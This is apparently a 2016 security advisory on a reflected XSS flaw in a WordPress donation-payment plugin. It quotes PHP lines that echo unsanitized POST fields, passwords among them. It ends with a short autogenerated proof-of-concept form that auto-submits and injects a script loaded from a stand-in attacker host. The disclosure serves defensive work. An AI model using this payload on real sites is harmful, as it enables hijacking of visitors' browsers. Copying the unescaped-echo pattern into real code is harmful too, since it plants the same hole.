Advisory #: 1195
Title: Reflected XSS in wordpress plugin ncs-e-giving-custom-payment-platform v1.01
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/ncs-e-giving-custom-payment-platform
Downloads: 127
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: ncs-e-giving-custom-payment-platform
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./ncs-e-giving-custom-payment-platform/trunk/CustomPayment.php: 234: <input type = "text" class = "validate[required]" id = "fname" name = "fname" placeholder = "First Name" value = "<?php echo $_POST["fname"]; ?>" /> 237: <input type = "text" class = "validate[required]" id = "lname" name = "lname" placeholder = "Last Name" value = "<?php echo $_POST["lname"]; ?>" /> 240: <input type = "text" class = "validate[required]" id = "address1" name = "address1" placeholder = "Address" value = "<?php echo $_POST["address1"]; ?>" /> 243: <input type = "text" class = "" id = "address2" name = "address2" placeholder = "Address" value = "<?php echo $_POST["address2"]; ?>" /> 246: <input type = "text" class = "validate[required]" id = "city" name = "city" placeholder = "City" value = "<?php echo $_POST["city"]; ?>" /> 265: <input type="text" class="validate[required,custom[CustomZip]]" id="zip" name="zip" placeholder="Zip" value="<?php echo $_POST["zip"]; ?>" /> 270: <input type="text" class="validate[required,custom[usernameR]]" id="username" name="username" placeholder="User Name" value="<?php echo $_POST["username"]; ?>" /> 273: <input type="password" class="validate[required,minSize[8],custom[usernameR]]" id="password" name="password" placeholder="Password" value="<?php echo $_POST["password"]; ?>" /> 276: <input type="password" class="validate[required,equals[password],custom[usernameR]] " id="cpassword" name="cpassword" placeholder="Password" value="<?php echo $_POST["cpassword"]; ?>" /> 279: <input type="text" class="validate[required,custom[email]]" id="email" name="email" placeholder="Email Address" value="<?php echo $_POST["email"]; ?>" /> 282: <input type="text" class="validate[required,minSize[10],custom[phone]]" id="phone" name="phone" placeholder="Phone Number" value="<?php echo $_POST["phone"]; ?>" /> The variables fname,lname,phone,email,address1,address2,cpassword,password appear to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./ncs-e-giving-custom-payment-platform/trunk/CustomPayment.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/ncs-e-giving-custom-payment-platform/trunk/CustomPayment.php method=post> <input type=hidden name=fname value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>